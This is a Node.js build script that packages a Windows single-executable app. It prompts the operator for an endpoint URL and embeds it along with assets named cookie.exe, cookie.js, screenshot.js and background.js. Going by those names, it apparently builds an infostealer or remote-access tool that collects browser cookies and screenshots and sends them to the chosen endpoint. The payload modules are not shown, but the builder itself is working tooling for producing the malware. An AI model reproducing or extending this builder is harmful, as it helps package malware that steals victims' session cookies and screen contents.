build.js

const { spawnSync } = require("node:child_process");
const fs = require("node:fs");
const path = require("node:path");
const readline = require("node:readline");

const SEA_CONFIG_PATH = "sea-config.win-x64.json";

const promptLine = (question) => new Promise((resolve) => {
  const rl = readline.createInterface({
    input: process.stdin,
    output: process.stdout,
  });

  rl.question(question, (answer) => {
    rl.close();
    resolve(answer);
  });
});

const resolveCliArg = (name) => {
  const index = process.argv.indexOf(name);
  if (index === -1) return "";
  return (process.argv[index + 1] || "").trim();
};

const resolveApiUrl = async() => {
  const cliUrl = resolveCliArg("--api-url");
  if (cliUrl) return cliUrl;

  if (!process.stdin.isTTY || !process.stdout.isTTY) {
    process.stderr.write("Endpoint URL required. For non-interactive use --api-url.\n");
    process.exit(1);
  }

  while (true) {
    const answer = await promptLine("Endpoint URL: ");
    const apiUrl = (answer || "").trim();
    if (!apiUrl) {
      process.stdout.write("Endpoint URL cannot be empty.\n");
      continue;
    }
    return apiUrl;
  }
};

const ensureBuildAssets = (apiUrl) => {
  const buildDir = path.resolve(process.cwd(), "build");
  const apiUrlPath = path.join(buildDir, "api-url.txt");

  fs.mkdirSync(buildDir, { recursive: true });
  fs.writeFileSync(apiUrlPath, `${apiUrl}\n`, "utf8");
};

const assertSeaAsset = (configDir, assets, key, expectedPath) => {
  const configuredPath = assets[key];
  if (configuredPath !== expectedPath) {
    throw new Error(`SEA asset "${key}" must map to "${expectedPath}" (current: "${configuredPath || ""}")`);
  }

  const absolutePath = path.resolve(configDir, configuredPath);
  if (!fs.existsSync(absolutePath)) {
    throw new Error(`SEA asset source file missing: ${absolutePath}`);
  }
};

const validateSeaConfig = () => {
  const configPath = path.resolve(process.cwd(), SEA_CONFIG_PATH);
  const configDir = path.dirname(configPath);

  let config = null;
  try {
    config = JSON.parse(fs.readFileSync(configPath, "utf8"));
  } catch (error) {
    throw new Error(`Cannot parse SEA config at ${configPath}: ${error.message}`);
  }

  const assets = config.assets || {};
  assertSeaAsset(configDir, assets, "build/api-url.txt", "./build/api-url.txt");
  assertSeaAsset(configDir, assets, "libs/cookie.exe", "./libs/cookie.exe");
  assertSeaAsset(configDir, assets, "functions/index.js", "./src/functions/index.js");
  assertSeaAsset(configDir, assets, "modules/background.js", "./src/modules/background.js");
  assertSeaAsset(configDir, assets, "modules/cookie.js", "./src/modules/cookie.js");
  assertSeaAsset(configDir, assets, "modules/screenshot.js", "./src/modules/screenshot.js");
};

const runBuild = () => {
  const configPath = path.resolve(process.cwd(), SEA_CONFIG_PATH);
  const configDir = path.dirname(configPath);
  const configFile = path.basename(configPath);

  const attempts = [
    ["--build-sea", configFile],
    ["--experimental-sea-config", configFile],
  ];

  let lastResult = null;
  for (const args of attempts) {
    const result = spawnSync(process.execPath, args, {
      cwd: configDir,
      encoding: "utf8",
    });

    if (result.stdout) process.stdout.write(result.stdout);
    if (result.stderr) process.stderr.write(result.stderr);

    if (!result.error && result.status === 0) {
      process.exit(0);
    }

    lastResult = result;
    const output = `${result.stdout || ""}\n${result.stderr || ""}`;
    if (!/bad option|unknown option/i.test(output)) break;
  }

  if (lastResult?.error) {
    process.stderr.write(`Build failed: ${lastResult.error.message}\n`);
    process.exit(1);
  }

  process.exit(lastResult?.status ?? 1);
};

const main = async() => {
  const apiUrl = await resolveApiUrl();
  ensureBuildAssets(apiUrl);
  validateSeaConfig();
  runBuild();
};

main().catch((error) => {
  process.stderr.write(`Unexpected error: ${error.message}\n`);
  process.exit(1);
});